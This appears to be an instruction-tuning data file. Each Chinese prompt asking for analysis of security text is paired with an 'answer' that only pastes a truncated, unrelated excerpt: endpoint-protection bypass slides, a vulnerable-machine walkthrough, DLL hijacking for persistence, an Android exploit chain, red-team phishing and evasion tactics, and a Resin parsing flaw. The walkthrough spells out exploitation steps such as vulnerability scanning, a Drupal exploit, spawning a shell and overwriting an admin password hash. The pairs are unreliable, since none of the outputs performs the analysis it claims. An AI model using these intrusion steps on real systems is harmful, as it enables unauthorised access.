Love to dance, travel the
world
 and capture
moments with my camera
Endpoint
protections
introduction
Malproxy - A new
technique to bypass
endpoint protections
Demo
Mitigations
TL;DR
&
Organizations heavily
rely on endpoint
protection solutions in
their security stack
Unfair
cat-and-mouse
game
Security solutions
evolved over time,
so are the viruses
What do you
 know about your
endpoint
protection
solutions?
malicious activity
detection mechanisms
Endpoint Protection 101
Static
signatures
Behavioral
signatures
1
3
Heuristics
2
Static
signatures
1
Behavioral
signatures
Heuristics
2
3
//testbin.c
int main ()
{
        char *user = "adm.user";
        printf("%s\n",user);
        return 0;
}
Static
signatures
1
Behavioral
signatures
Heuristics
2
3
rule APT_adm_corp : apt //apt is just a tag, it doesn’t affect the rule.
{
        meta:
//Metadata, they don’t affect the rule
                author = "xgusix"
        strings:
                $adm = "adm."
                $corp = "corp."
                $elf = { 7f 45 4c 46 } //ELF file’s magic numbers
        condition:
                $elf in (0..4) and ($adm or $corp)
                // If $elf in the first 4 bytes and it matches $adm or $corp
}
Static
signatures
1
Behavioral
signatures
Heuristics
2
3
# yara -s -m -g rules.yar testbin
APT_adm_corp [apt] [author="xgusix"] testbin
0x0:$elf: 7F 45 4C 46
0x4c0:$adm: adm.
Static
signatures
1
Behavioral
signatures
Heuristics
2
3
HackTool:Win32/OurCoolMimikatzSignature:
"A La Vie, A L'Amour" - (oe.eo)
Benjamin DELPY `gentilkiwi`
Vincent LE TOUX
## / \ ##
sekurlsa
logonpasswords
Static
...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

本文内容来自Gu师傅的博客： http://hackergu.com/
挑选了几个比较有代表性的靶机，来捋一下渗透思路。
DC1
靶机下载地址： https://www.vulnhub.com/entry/dc-1,292/
渗透思路：
信息收集：主机发现和端口扫描
漏洞利用：Drupal CMS GetShell
权限提升：SUID提权
信息收集
主机发现
基于ARP
arp 可以轻易bypass掉各类应用层防火墙，除非是专业的 arp 防火墙。
基于ICMP
端口扫描（服务探测）
nmap
在扫描的过程中，使用了 nmap 的 vuln 脚本，这个脚本用于检测目标主机是否有常见的漏洞。
扫描结果太长就不贴了，关键信息是目标开放了80端口，打开是一个 Drupal 7 的网站。
写一些小拓展
我们可以在谷歌中使用Google Hack，大量查找 Drupal 的网站，语法为 inurl:"q=user/password"
我们在实战中为快速得知 Drupal 的版本，我们可以在 robots.txt 中查找 MAINTAINERS.txt 文件，该
文件中会泄露版本号。
sudo netdiscover -r 192.168.234.0/16 -i eth0    #Linux
arp-scan.exe -t 192.168.234.0/24                #Windows
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.234.%I | findstr "TTL="
nmap -T4 -Pn -A 192.168.234.176 --script=vuln
#-T4    设置扫描时序，时序越高速度越快，最高为4
#-Pn    不使用ping，目标防火墙禁止ping的时候用
漏洞利用
我们在kali中使用 searchsploit 对 drupal 进行查找可以利用的漏洞
searchsploit：  https://github.com/oﬀensive-security/exploitdb
在 searchsploit 的结果中看到几个漏洞可以通过 MSF 进行利用，打开 MSF 搜寻exp。
searchsploit Drupal
我们的目标网站刚好处在可利用范围内
目标机器上线，漏洞利用成功。
exp设置要注意几点
通常我们的web服务都是搭建在80端口，所以该exp默认帮我们填写了80端口。
如果该web服务不在80端口而在888端口，则我们需要将端口设置为888。
另外关于 targeturi ，如果该 CMS 在搭建在 /abc 目录下，则需要设置 targeturi 为 /abc 。
寻找Flag
Flag1
use 4
info    #查看exp详细的信息
meterpreter> ls     #查看文件列表，找到Flag1
meterpreter> cat Flag1.txt
显而易见，就是让我们寻找web的配置文件
Flag2
cat web.config ，发现啥也没有。忽然想起是CMS的配置文件。
然后，查找了一番，最终确定要找的配置文件为 www/sites/default 中的settings.php
提示：暴力和字典攻击并不是获得访问权限的唯一方法（而且您需要访问权限）。你能用这些凭
证做什么？
给出了MySQL的账号密码，当然是先去登录啊
Flag3
利用python获取交互Shell
python -c '__import__("pty").spawn("/bin/bash")'
登录MySQL
我们最关注的应该就属user表了，所以直奔主题
在 flag2 中提示到，破解不是唯一的办法。
在这里我们可以直接利用update修改 admin 的密码，但由于该密码是加密的，所以我们也需要找到相
对应的 加密脚本 。
最终在网站根目录下的 scripts目录 中找到了加密脚本 password-hash.sh 。
这里遇到了点小问题，怎么加密也不成功，结果在用法里发现
mysql -u dbuser -p
若不是以root权限运行脚本，则需要从网站的根目录去进行调用 ./scripts/password-hash.sh
"admin"
得到 $S$D9vVemNX8fwUjNNOyw/ZcvWaPH7LeE5FNO.cf5EjDKqCzref/wA2
登录MySQL，跟新管理员密码
以新密码登录 admin 账号，找到 flag3
Flag4
在摸索hash脚本的时候无意发现的，按照常理的话，/etc/passwd中也可发现。
位于 /home 目录下
提示我们需要进行提权，才能得到 flag5 。
update...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

IPv6@ARIN
Matt Ryanczak
Network Operations Manager
IPv6 Timeline
IETF starts
thinking about
successors to
IPv4.
1990
IETF forms IPNG
area
RFC 1475
TP/IX
RFC 1550
IPng Paper
Solicitation
1993
RFC1817
CIDR and Classful
Routing
RFC 1883
Draft IPv6 Spec
1995
6bone started
RFC 1970
Neighbor
Discovery
RFC 1971
Address
Autoconfig
1996
RFC 3775
IPv6 mobility
RFC3697
Flow Label Spec
RFC 2471
6bone phase out
2004
RFC 5095
Deprecation of
Type 0 Routing
Headers
RFC 4942
IPv6 Security
Considerations
2007
RFC 5722
Handling of
overlappingIPv6
fragments
2009
RFC 5871
IANA Allocation
Guidelines for the
IPv6 Routing Header
2010
RFC 3315
DHCPv6
RFC 2553
Basic Socket
Interface
Extensions
2003
What happened to IPv5?
The Internet Stream Protocol (ST, ST2, ST+)
•
First developed in the late 1970s (Internet Engineering Note 119, 1979)
•
Designed to transmit voice and other real time applications
•
Guaranteed bandwidth, QOS
•
Set the version field in IP header to 5
•
ST2 and ST+ saw interest from IBM, Sun and others in to the 1990s
There were a lot of potential replacements for IPv4:
RFC 1752 Recommendation for the IP Next Generation Protocol (Pv6)
RFC 1475: TP/IX: The Next Internet (IPv7)
RFC 1621: PIP - The P Internet Protocol (IPv8)
RFC 1374: TUBA - TCP and UDP with Bigger Addresses (IPv9)
RFC 1606: A Historical Perspective On The Usage Of IP Version 9
ARIN IPv6 Timeline
Sprint IPv6
WWW, DNS, FTP
Worldcom
IPv6
WWW, DNS, FTP
Equi6IX IPv6
WWW, DNS, FTP,
V6 Peering
NTT | Tinet
IPv6
Whois, DNS, IRR,
Peering
2003: Sprint
• T1 via Sprint
• Linux Router with Sangoma T1 Card
• OpenBSD firewall
• Linux-based WWW, DNS, FTP servers
• Segregated network no dual stack
(security concerns)
• A lot of PMTU issues
• A lot of routing issues
• Service has gotten better over the years
2004: Worldcom
• T1 via Worldcom to Equinix
• Cisco 2800 router
• OpenBSD firewall
• Linux-based WWW, DNS,
FTP ser...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Anti-RE Techniques in DRM Code
Jan Newger
Seminar Advanced Exploitation Techniques
RWTH Aachen, Germany
jan.newger@rwth-aachen.de
ABSTRACT
In order to prevent music from being copied among con-
sumers, content providers often use DRM systems to pro-
tect their music ﬁles. This document describes the approach
taken while analysing a DRM system (whose identity needs
to be kept secret due to legal issues)1.
It is shown what
techniques were used to protect the system from being eas-
ily reverse engineered.
1.
INTRODUCTION
It’s common practice among DRM implementations to use
strong encryption in combination with a hardware or user
dependent key derivation algorithm. The DRM system in
question is no exception to this, although the algorithm used
for encryption, single DES [1] in this case, is considered to
be outdated because of its limited key length. Because the
whole system can be broken by revealing the decryption al-
gorithm together with its associated key setup, the central
idea of the protections used by the DRM is to make re-
verse engineering as hard as possible. Although any soft-
ware based protection mechanism can be reverse engineered
and therefore be broken, performing such a task can be
highly hindered by using various anti reverse engineering
techniques. This paper will give a detailed analysis of the
most signiﬁcant techniques employed by the DRM and shows
how to circumvent them.
2.
APPROACHING THE DRM
The most important step while approaching the protection
was to ﬁnd DRM related code which would ﬁnally lead to
the decryption algorithm.
A very straight forward strategy to solve this problem is to
use a debugger to ﬁnd relevant code by setting breakpoints
on ﬁle I/O APIs like CreateFile, ReadFile and functions
used to map ﬁle data in process memory by means of mem-
ory mapped ﬁles. After data has been read from a DRM
1Please note that this paper lacks quite some details, be-
cause i don’t want to oﬀend the developers of the DRM
protected ﬁle, one would ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

⾃动化通⽤DLL劫持 - 1
⾃动化通⽤DLL劫持
之前写过⼀篇
使⽤⽩加⿊的⽅式⽣成"冲锋⻢"，使⽤到部分 dll 劫持的技术。但是它的场景是劫持后阻断正常⽩⽂件的运⾏，程序的控制权交到“⿊⽂
件”中。
这篇⽂章是对通⽤ DLL 劫持的研究，期望能制作⼀个通⽤的 DLL，劫持程序原有的 dll 但保留原 dll 的功能，同时执⾏⾃⼰的代码，这个 dll
最好能⾃动⽣成(不要⼿动编译)，主要⽤于维权场景。
已有研究
Aheadlib
著名的⼯具 Aheadlib 能直接⽣成转发形式的 dll 劫持源码,通过 #pragma comment(linker,"/EXPORT:") 来指定导出表的转发。
转发模式⽣成的源码：
红队开发 - ⽩加⿊⾃动化⽣成器.md - ⼩草窝博客
参考⼀些APT组织的攻击⼿法，它们在投递⽊⻢阶段有时候会使⽤“⽩加⿊”的⽅式，通常它们会使⽤⼀个带有签名的⽩⽂件+⼀个⾃定义dll⽂件，所以
研究了⼀下这种⽩加⿊的实现⽅式以及如何将...
x.hacking8.com
⾃动化通⽤DLL劫持 - 2
C++
及时调⽤模式⽣成的源码：
每个导出函数会跳转到⼀个全局保存的地址中，在 dll 初始化的时候会通过解析原 dll 对这些地址依次赋值。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 头文件
#include <Windows.h>
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 导出函数
#pragma comment(linker, "/EXPORT:Box=testOrg.Box,@1")
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 入口函数
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
  if (dwReason == DLL_PROCESS_ATTACH)
  {
    DisableThreadLibraryCalls(hModule);
  }
  else if (dwReason == DLL_PROCESS_DETACH)
  {
  }
  return TRUE;
}
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
⾃动化通⽤DLL劫持 - 3
C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Pwning "the toughest target":
the exploit chain of winning the largest
bug bounty in the history of ASR program
Jianjun Dai               Guang Gong                Wenlin Yang
#whoami
•
Guang Gong
• Senior Security Researcher and Team Leader of 360 Alpha Team
• Android/Chrome CVE hunter
• Speaker at Black Hat, CanSecWest, PHDays, SyScan360, MOSEC, PacSec, etc
• Mobile Pwn2Own 2015, Pwn0Rama 2016, Pwn2Own 2016, PwnFest 2016,
Mobile Pwn2Own 2017 winner
• 1st submit the working remote exploit chain of ASR
•
Wenlin Yang
• Security Researcher at 360 Alpha Team
• Android system CVE hunter
•
Jianjun Dai
• Security Researcher at 360 Alpha Team
• Android system CVE hunter
• Speaker at CanSecWest
How we pwned  Pixel running Android Nougat
Two bugs forms the complete exploit chain
• a V8 bug to compromise the renderer
• a system_server bug to escape sandbox and get
system user permissions
Agenda
• Exploition of V8 engine
• Exploitation of System_server
• Conclusion
Exploition of V8 engine
• Introduction SharedArrayBuffer and WebAssembly
• Analyze the Chain of Bugs #1
    - CVE-2017-5116
• Exploitation of CVE-2017-5116
SharedArrayBuffer
• V8 6.0 introduced
• Low-level mechanism to share memory between JavaScript workers
• Unlock the ability to port threaded applications to the web via
asm.js or WebAssembly
// create a SharedArrayBuffer with a size in bytes
const buffer = new SharedArrayBuffer(8);
SharedArrayBuffer was disabled by default
in all major browsers on January 2018, in
response to Meltdown and Spectre
WebAssembly
• New type of code that can be run in modern web browsers
• Low-level assembly-like language with a compact binary format that
runs with near-native performance
• Provide languages such as C/C++ with a compilation target
• Run alongside JavaScript
WebAssembly
var importObject = { imports: { imported_func: arg => console.log(arg) } };
WebAssembly.instantiateStreaming(fetch('simple.wasm'), importObject)
....


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Windows 安全 - 服务篇（2）
0x00 前言
上一篇主要是Windows服务的基础架构，这一篇主要记录服务账户。账户和安全的关系非常紧密，熟练
掌握服务账户的知识，对理解很多服务相关的安全问题是非常重要的。
服务账户涉及的知识非常多，除了基础的4类：Local System、Network Service、Local Service、
Service Account以外，还有服务隔离、虚拟服务账户、交互式服务检测、Session 0隔离。
0x01 服务账户
在早期的windows系统中，服务是运行在本地系统账户权限下的，例如：SYSTEM、LocalSystem。这个
权限是非常大的，后面慢慢出现了网络服务账户和本地服务账户，它们的权限就相对低了很多。
本地系统账户
Windows用户模式下的核心组件也运行在本地系统账户下，例如：Session管理（Smss.exe）、
Windows子系统进程（Csrss.exe）、本地安全认证进程（Lsass.exe）、登录进程（Winlogon.exe）。
这个账户权限是非常高的，有以下特性：
是本地管理员组成员，具体看下文中的服务账户的组关系表。
具有所有权限，具体情况看服务账户的权限分配情况表。
能够访问大部分文件和注册表
默认用户profile位于HKU\.DEFAULT
如果是域中的电脑，本地系统账户包含了机器SID，因此同森林下的运行在本地管理账户下的服务
认证别的机器将使用机器账户
除非机器账户本限制，否则服务进程能够使用空sessions（也就是无认证）访问网络资源。当然你
也可以使用注册表HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters来执
行分享和管道使用空sessions(NullSessionPopes、NullSessionShares)
网络服务账户
网络服务账户顾名思义，是服务想通过认证别的机器所使用的账户。网络服务账户相对于本地系统账
户，权限就低了很多，并不属于管理员组，对注册表和文件的访问权限也低了很多，不能用来加载驱动
和打开任意进程。网络服务账户的用户profile位于HKU\S-1-5-20，相关的文件在目
录%systemRoot%\ServiceProfiles\NetworkService中。比较常见的运行在网络服务账户下面的服务
有：DNS client。
说到这儿你有没有想到土豆提权系列，服务账户和土豆提权系列有很大的关系，这也是为什么我先写
windows服务的基础知识，后面会接着写土豆提权系列的原因。
本地服务账户
本地服务账户和本地网络账户本质上是相同的，唯一的不同是关于网络访问这块儿，网络服务账户可以
匿名访问网络资源，而本地服务账户不行。本地服务账户的用户Profile位于HKU\S-1-5-19，并且文件目
录位%SystemRoot%\ServiceProfiles\LocalService.
比较常见的运行在本地服务账户下的服务有：远程注册表服务、LmHosts服务。
Produced by AttackTeamFamily - Author: L.N. - Date: 2022-04-17
No. 1 / 4 - Welcome to www.red-team.cn
Local System
Network Service
Local Service
Service Account
Administrators
Everyone
Everyone
Everyone
Everyone
Users
Users
Users
Authenticated
Users
Authenticated
Users
Authenticated Users
Authenticated
Users
Local
Local
Local
Network service
Local service
Local service
Console logon
Console logon
All Services
UWP capabilities
groups
Write restricted
Console logon
系统
系统
系统
高
在上文中都提到了用户Profile，应该很多同学不清楚它是干什么的，为什么特地的指出不同账户的用户
profile。想了解的同学可以阅读https://docs.microsoft.com/en-us/previous-versions/windows/deskt
op/legacy/bb776892(v=vs.85)，后面我也会单独拿出来写。除此上文中还例举了一些使用某服务账户的
默认服务，这个也是非常重要的，你仔细看下文权限表中...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Stealth Data Dispersion
ICMP Moon-Bounce
Saqib A. Khan, Principal
khan@SecurityV.com
Latest Version @ http://SecurityV.com/research
Copyright 2002 Security Verification, Inc.
All rights reserved.
Definition
Stealth Data Dispersal is an asynchronous
covert channel
Copyright 2002 Security Verification, Inc.
All rights reserved.
Project Goal
Reside small amounts of data on the “ether”
(within network traffic) rather than fixed
physical storage.
Copyright 2002 Security Verification, Inc.
All rights reserved.
Project Benefit
Data becomes highly survivable in case of
catastrophic failure/removal of Network Hosts
Copyright 2002 Security Verification, Inc.
All rights reserved.
Preferred Embodiment
 Dispersal of small amounts of data (< 1500
bytes = PPP MTU)

Data stays “alive” on the wire vs. a storage
device, as long as possible
 Data is retrieved or refreshed before data
expires on the “wire”
Copyright 2002 Security Verification, Inc.
All rights reserved.
Core TCP/IP Impediment
TTL limits all TCP/IP packets to expire
automatically after 255 hops!
Packets which reach limit are automatically discarded
Copyright 2002 Security Verification, Inc.
All rights reserved.
Candidate TCP/IP Protocols
1.
ICMP (Inet Control Message Protocol)
•
Implementation required on all TCP/IP stacks
•
Echo Replies required to echo back original
“Request” data
•
Universally available – Print servers, etc
•
Fair amount of ICMP traffic always present on
the wire, ergo stealthy
Copyright 2002 Security Verification, Inc.
All rights reserved.
Candidate TCP/IP Protocols
2.
Multicast/IGMP (Inet Group Mgmt Protocol)
•
Designed for communicating between single
Source to multiple Destinations (utilizing single
transmission)
•
Very large amount of data can be found on the
wire at any time (being used to broadcast
numerous audio streams, etc), ergo very
stealthy!
Copyright 2002 Security Verification, Inc.
All rights reserved.
ICMP Moon-Bounce

Basic Operation: Bounce data
between 2 Hosts ut...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

IP Law
Copyright
 DMCA
Trademark
Patent
Trade Secret
Copyright - Definition
Copyright protects "original works of authorship, fixed
in a tangible medium of expression".
In the following categories: literary, musical, dramatic,
choreographic, pictorial, sculptural, audiovisual,
sound, architectural.
Not in these categories: ideas, procedures, processes,
systems, methods of operation, concepts, principles,
or discoveries.
Copyright - Bundle of Rights
Reproduce
Distribute
Publicly Perform / Display
Create derivative works
Transfer / Sell work or rights
License rights
Owner may sue for the infringement of the
above rights
Copyright - Duration
Author's life plus 70 years.
Or if made by a corporation, 95 years after
publication or 120 years after creation.
Originally in 1790:
14 years + 14 more years if author still alive
Copyright - Why is this a good
idea?
We want to reward authors for being creative.
Not all authors are motivated purely by a desire
to create art.
Copyright - Fair Use
Fair use factors:
1) Purpose and Character of the use
(commercial vs. educational non-profit)
2) Nature of the copyrighted work
3) Amount of work copied in relation to entire
work
4) Effect of use on potential market or value of
copyrighted work
Copyright - Example 1
Alan writes a novel and titles it "Code Monkey".
It becomes a bestseller almost overnight.
Bob decides to copy and sell the content of the
novel under the title "Source Simian".
Can Alan win a copyright suit against Bob?
Copyright - Example 2
Gene is an artist, hired to plan and create a
unique garden for the City.  Gene creates
precisely designed beds of flowers and
bushes in ways that have never been seen
before.  After six months, the plants have
grown and the City wants to trim them down.
Gene sues, saying he owns the copyright to
his work of art, and the City cannot alter it
without his permission.
What result and why?
DMCA
Digital Millenium Copyright Ac...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

0x01 前言
这种反制也只能钓 "涉世未深" 的攻击方，和一些脚本小子，算是蚁剑插件编写不规范造成的RCE
0x02 DHTMLX
在 \source\app.entry.js : 行28-57 可以看得见蚁剑在新版加载器中设置了替换函数，将对应的特殊
字符替换成实体编码！
它调用了dhtmlx框架，所以只要是UI渲染的页面都可能存在 XSS->RCE
我把目标盯向了其他插件
0x03 AS_Plug-in
从自带的插件实例的代码开始看: phpinfo
在 行14-22 当中，渲染UI框架的时候，调用了 unxss 可以知道这个地方不存在XSS漏洞
noxss: (html = '', wrap = true) => {
    let _html = String(html)
      .replace(/&/g, "&")
      .replace(/'/g, "'")
      .replace(/>/g, ">")
      .replace(/</g, "<")
      .replace(/"/g, """);
    if (wrap) {
      _html = _html.replace(/\n/g, '<br/>');
    }
    return _html;
  },
  /**
   * unxss
   * @param  {String}  html 转义的字符串
   * @param  {Boolean} wrap 是否反转义换行
   * @return {String}       反转义后的字符串
   */
  unxss: (html = '', wrap = true) => {
    let _html = String(html)
      .replace(/'/g, "'")
      .replace(/>/g, ">")
      .replace(/</g, "<")
      .replace(/"/g, '"')
      .replace(/&/g, "&");
    if (wrap) {
      _html = _html.replace(/<br\/>/g, '\n'); // 只替换 noxss 转义过的
    }
    return _html;
  },
https://github.com/AntSword-Store/phpinfo**
https://github.com/AntSword-Store/phpinfo/blob/master/main.js
我们需要用到什么插件？ LiveScan  这个是蚁剑判断WEBSHELL存活的一款插件
可以在蚁剑插件中心下载
我从Github找到了这个项目，从代码审计这方面开始挖掘漏洞进行反制
    core.request({
      _: 'phpinfo()'
    }).then((_ret) => {
      t.safeHTML(antSword.unxss(_ret['text'])).showLoading(false);
      toastr.success('获取成功！', 'Success');
    }).catch((e) => {
      toastr.error(JSON.stringify(e), 'Error');
      t.close();
    });
# 插件市场打不开如何解决
https://mp.weixin.qq.com/s/hF3GgZpIcussc-BjUoJUuQ
https://github.com/AntSword-Store/LiveScan/blob/master/libs/ui.js
          // 开始扫描
          this.win.win.progressOn();
          // 获取 Shell
          let shells = antSword['ipcRenderer'].sendSync('shell-find', {
            "type": {
              "$nin": ["custom"]
            },
行160-192 从开始扫描到渲染UI，每一步他都没有调用JS替换函数: unxss , onxss
于是我构思，如何让他扫描后渲染出来，它扫描时shell不需要存活，于是我们shell地址开始下手
Windows对文件的命名有标准，我们没法使用尖括号
只能在链接的时候修改
 ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

YOU’RE DOING IOT RNG
• Random numbers are very important to security
• Encryption keys
• Authentication tokens
• Business logic
• Computers are notoriously bad at making random numbers
• They inherently only do deterministic functions
• Hardware RNG
• Makes entropy
• Solves the problem… right?
RANDOM NUMBERS
DOING RNG
2
Input
Computer
Magic
Output
• PRNG (Pseudo RNG)
• Cryptographically Secure
• “Regular”
RANDOM NUMBERS
DOING RNG
3
• “True” RNG (TRNG)
• Terrible name
• Hardware RNG
• Black boxes
• Very little information
• Except the STM32, great info!
• Two common implementations:
• Analog circuit
• Clock timings
• Issues that come up
• Running too fast
• Accidental syncing
HARDWARE RNG DESIGN
DOING RNG
4
Analog
Circuit
Method
Output
Clock A
Clock B
Clock Timings Method
Measured Delta
Normal
Distribution
• Most new IoT SoCs have a hardware RNG as of 2021
• An entire hardware peripheral devoted to doing just this one thing
• Surely it must be super secure
• No operating systems
• IoT devices run C/C++ on bare metal
• Call it like this:
• u8 hal_get_random_number(u32 *out_number);
• Two parts we care about here:
• Output variable (our random number)
• Return code
HOW IOT DOES RNG
DOING IOT RNG
5
FREERTOS
MEDIATEK 7697
NOBODY
6
CHECKS
ERROR
CODES
(Two Examples)
• What happens when the RNG call fails?
WHAT’S THE WORST THAT COULD HAPPEN?
PETRO’S LAW FORESHADOWING
7
Undefined
Behavior
• Typically one of:
• Partial entropy
• The number 0
WHAT’S THE WORST THAT COULD HAPPEN?
FORESHADOWING
8
u8 hal_get_random_number(u32 *out_number);
Call #1
Call #2
Call #3
Call #4
https://imgs.xkcd.com/comics/random_number.png
IT CAN ALWAYS BE WORSE
PETRO’S LAW:
• Uninitialized memory
WHAT’S THE WORST THAT COULD HAPPEN?
IT’S WORSE
10
u32 random_number;
hal_get_random_number(&random_number);
// Sends over the network
packet_send(random_number);
Arbitrary bytes from RAM!
• RSA Certificate Vulnerability Factoring RSA Keys in the IoT Era
• https://www.keyfactor.com/resources/factoring-rsa-...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Modern Initial Access and Evasion Tactics
Red Teamer’s Delight
Mariusz Banach
Red Team Operator at ING Tech Poland
@mariuszbit, github/mgeeky
beacon>
whoami
Agenda
» A Few Phishing Tricks
» Initial Access in 2022
»
Typical Vectors
»
Rise of Containerized Malware
»
The Beauty of HTML Smuggling
» Evasion In-Depth
»
Delivery
»
Exploitation
»
Installation
»
Command & Control
»
Exfiltration
Disclaimer
» Initial Access & Evasion tactics effectiveness is very Company/vendor specific
» Quite hard to maintain absolute 0% detection rate in Mature, Highly Secured Environments
» No fancy new tactics in this Talk :<
» This talk shares my insights based on engagements delivered with following security stacks:
»
MDE, MS Defender For Endpoint + ATP
»
MDO, MS Defender For Office365
»
MDI, MS Defender For Identity
»
McAfee AV
»
CrowdStrike Falcon EDR
»
Palo Alto Proxy
»
BlueCoat Proxy
PHISHING
» Stay away of regular e-mail exchanges
» Stick more to Third-Party communication channels (LinkedIn, Chat, Contact Forms)
» Develop multi-step plausible pretexts
»
CV/Resume in response to a real Job Offer, Customer Inquiry
»
Investor Relations (IR) exchange leading to IPO/bonds/shares acquisition
»
Social Marketing offering
» Bonkers tricks:
» Ride-to-Left-Override-Like-Its-90s
» “This E-mail was scanned.[…] No Spam detected.
Links are safe to open.”
Phishing
» Get familiar with
state-of-the-art Detections
• Here we reverse-engineer 20+
• MS Defender for Office365
Anti-Spam rules
Phishing
» Apply Phishing e-mail HTML Linting
» On embedded URL’s domain – MS Defender for O365 ATP: Safe Links
»
Categorisation, Maturity, Prevalence, Certificate CA signer (Lets Encrypt is a no-go)
»
Domain Warm Up
» Landing Page specific
»
Anti-Sandbox / Anti-Headless
»
HTML Smuggling <3
» Keep your URL contents benign
»
Beware of ?id= , ?campaign=, ?track=, /phish.php?sheep=
»
Number of GET params, their names & values DO MATTER
Phishing
» Apply Phishing e-mail HTML Linting
Phishing
» Email Sending Strategy –...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

/
register_argc_argv
boolean
Tells PHP whether to declare the argv & argc variables
(that would contain the GET information). See also
command line.
register_argc_argv
TRUE
Setting this to TRUE  means that scripts executed via the
CLI SAPI always have access to argc (number of arguments
passed to the application) and argv (array of the actual
arguments).The PHP variables $argc and $argv are
automatically set to the appropriate values when using
the CLI SAPI. These values can also be found in the
$_SERVER array, for example: [$_SERVER'argv'].
PHP  register_argc_argv
0x01
 CTF register_argc_argv  WEB
yzddmr6  register_argc_argv
register_argc_argv  PHP
0x02
 register_argc_argv
PHP argv  argc  GET
 register_argc_argv  TRUE  CLI SAPI
argc argvCLI
SAPIPHP $argc  $argv  $_SERVER
 $_SERVER['argv']
 php.ini  register_argc_argv   On
 php  ON
 github  Off
5.2.17 On 5.4.455.5.9
7.3.4 Off
 register_argc_argv  Off
 register_argc_argv
<?php
error_reporting(0);
$a = $_GET['a'];
echo $a;
var_dump($_SERVER[argv]);
var_dump($_SERVER);
?>
 register_argc_argv
 register_argc_argv  argv  argc
 argv  PHP  $argv
 $_SERVER['argv']
 $_GET  $_POST  PHP
PHP  REQUEST  PHP
 $argv  php
 php  argv
 register_argc_argv  CLI
 $_SERVER['argv']
 global  $_GLOBALS['argv']  $_SERVER['argv']
 $_GLOBALS['argv']
 register_argc_argv
CLICommand Line Interface SAPI Server Application
Programming InterfaceSAPIPHPCLI
SAPI CLI SAPIPHPCLI
CLIPHPPHP
 $argv , $argc
// test.php
<?php
var_dump($argc);
var_dump($argv);
 $argc  5 $argv  5
 test.php-s-ttest100
 $argc  $argv
 test 100  -s -t
php  getopt()
 getopt()
options: (-)
x  -x  a-z,A-Z,0-9
longopts: (–)
 opt  --opt
optind(>=PHP7.1.0):
options
php test.php -s -t test 100
getopt ( string $options [, array $longopts [, int &$optind ]] ) : array
 php getopt.php -apanda -chello -b next -dooo
 getopt(options)
options
/  FALSE
options  key  value  false
options
 getopt()
 test 100  -s -t
0x03
<?php
  // getopt.php
$test = getopt('...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

1
OLONLXOL-Resin解析漏洞
初学JAVA有问题请指正
受影响版本：全版本
之前测试resin⾥的权限绕过时提到过可以采⽤下⾯的⽅式
后来在北京玩的时候突然想到，那我可不可以和 iis解析漏洞 ⼀样创建⼀个⽂件夹为
test.jsp 下⾯存放⼀个⾮ jsp 后缀⽂件，但是 Resin 能解析呢。
回来测试了⼀下发现可以
Plain Text
复制代码
/test.jsp
/test.jsp/1.css
1
2
2
得到如下结论
看⼀下问题出在哪⾥，⾸先查看 Resin 的配置⽂件
Plain Text
复制代码
/test.jsp/test.jpg
test.jsp ⽂件夹下的⽂件都会解析成jsp
1
2
3
注意到三个 servlet-mapping 分别是 *.jsp *.jspx *.jspf 对应的 servlet-class
都为 com.caucho.jsp.JspServlet
那代表还存在另外两种利⽤⽅式
配置 Resin 远程调试查看⼀下原因
Plain Text
复制代码
/test.jspx/test.jpg
/test.jspf/test.jpg
test.jspf test.jspx⽂件夹下的⽂件都会解析成jsp
1
2
3
4
D:\tomcat\resin-4.0.65\conf\resin.xml 在 Resin 的配置⽂件⾥添加下⾯的内容
IDEA配置好远程JVM调试，因为我们不知道具体处理流程在哪⾥，所以断点下在
\com\caucho\server\http\HttpRequest.class#handleRequest
慢慢跟⼀直到
\com\caucho\server\dispatch\ServletMapper.class#mapServlet
跟进去然后跟到
5
这⾥先从我们配置⽂件取 servlet-mapping 的值然后正则匹配我们请求的 uri ，可以注意
到这个正则
^.*\.jsp(?=/)|^.*\.jsp\z
此时会匹配到 /test1.jsp 会返回 ServletMapping[url-pattern=*.jsp,
name=resin-jsp]
从⽽进⼊jsp处理逻辑
^.*\.jsp(?=/)|^.*\.jsp\z 这个正则在
\com\caucho\server\dispatch\UrlMap.class#addMap 被添加
6
Java
复制代码
    public void addMap(String pattern, String flags, E value, boolean
isIgnore, boolean ifAbsent) throws PatternSyntaxException {
        if (pattern.length() == 0) {
            this.addRegexp(-1, "^/$", flags, value, true, isIgnore,
ifAbsent);
        } else {
            boolean startsWithSlash = pattern.charAt(0) == '/';
            if (pattern.length() == 1 && startsWithSlash) {
                this.addRegexp(-1, "", flags, value, true, isIgnore,
ifAbsent);
            } else if (pattern.equals("/*")) {
                this.addRegexp(1, "/*", flags, value, true, isIgnore,
ifAbsent);
            } else {
                int length = pattern.length();
                boolean isExact = true;
                if (!startsWithSlash && pattern.charAt(0) != '*') {
